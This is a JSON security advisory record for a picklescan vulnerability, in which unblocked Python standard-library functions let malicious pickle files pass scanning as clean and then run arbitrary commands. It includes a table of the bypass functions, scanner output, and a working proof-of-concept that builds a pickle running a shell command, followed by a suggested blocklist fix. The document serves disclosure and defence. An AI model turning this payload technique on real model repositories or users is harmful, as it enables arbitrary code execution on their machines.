{"id":"CVE-2026-56315","aliases":["GHSA-g38g-8gr9-h9xp"],"url":"https://o3.security/vulnerability/CVE-2026-56315","summary":"picklescan - Remote Code Execution via Unblocked Standard Library Modules","details":"## Summary\n\npicklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.\n\n## Severity\n\n**Critical** (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.\n\n## Affected Versions\n\n- picklescan <= 1.0.3 (all versions including latest)\n\n## Details\n\n### Unblocked RCE Modules\n\n| Module | Function | RCE Mechanism | picklescan Result |\n|--------|----------|--------------|-------------------|\n| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN |\n| `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN |\n| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN |\n| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN |\n| `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN |\n| `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN |\n| `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN |\n| `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN |\n\nAll 8 functions are in Python's standard library and importable on all platforms.\n\n### Scanner Output\n\n```\n$ picklescan -p uuid_rce.pkl\nNo issues found.\n\n$ picklescan -p aix_rce.pkl\nNo issues found.\n\n$ picklescan -p imaplib_rce.pkl\nNo issues found.\n```\n\nMeanwhile:\n```\n$ python3 -c \"import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())\"\nuid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)\n```\n\n### Blocklist Analysis\n\npicklescan v1.0.3's `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:\n\n- `uuid` — not blocked\n- `_osx_support` — not blocked\n- `_aix_support` — not blocked\n- `_pyrepl` — not blocked\n- `_pyrepl.pager` — not blocked (parent wildcard doesn't apply since `_pyrepl` isn't blocked)\n- `imaplib` — not blocked\n- `test` — not blocked\n- `test.support` — not blocked\n- `test.support.script_helper` — not blocked\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"<B\", len(b)) + b\n\n# uuid._get_command_stdout — arbitrary command execution\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"<Q\", 55)\n    + sbu(\"uuid\") + sbu(\"_get_command_stdout\") + b\"\\x93\"\n    + sbu(\"bash\") + sbu(\"-c\") + sbu(\"id\")\n    + b\"\\x87\" + b\"R\"   # TUPLE3 + REDUCE\n    + b\".\"              # STOP\n)\n\n# Scan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN\n\n# Execute: runs `id` command\npickle.loads(payload)\n```\n\n### Tested Against\n\n- picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release\n- picklescan v0.0.21 — same result (modules never blocked in any version)\n\n## Impact\n\nAny system using picklescan for pickle safety validation is vulnerable. This includes:\n\n- **HuggingFace Hub** — uses picklescan server-side to scan uploaded model files\n- **ML pipelines** — any CI/CD or loading pipeline using picklescan\n- **Model registries** — any registry relying on picklescan for safety checks\n\nAn attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.\n\n## Suggested Fix\n\nAdd to `_unsafe_globals` in picklescan:\n```python\n\"uuid\": \"*\",\n\"_osx_support\": \"*\",\n\"_aix_support\": \"*\",\n\"_pyrepl\": \"*\",\n\"imaplib\": {\"IMAP4_stream\"},\n\"test\": \"*\",\n```\n\n**Architectural recommendation:** The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:\n1. Switching to an allowlist (default-deny) for permitted globals\n2. Treating ALL unknown globals as dangerous by default (currently marked \"Suspicious\" but not counted as issues)\n\n## Resources\n\n- picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`)\n- Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`","published":"2026-06-23T12:13:02.736Z","modified":"2026-08-12T03:51:12.739534694Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"picklescan","fixedVersion":"1.0.4"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56315.json"},{"type":"ADVISORY","url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-g38g-8gr9-h9xp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56315"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-standard-library-modules"},{"type":"PACKAGE","url":"https://github.com/mmaitre314/picklescan"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:12.739534694Z"}}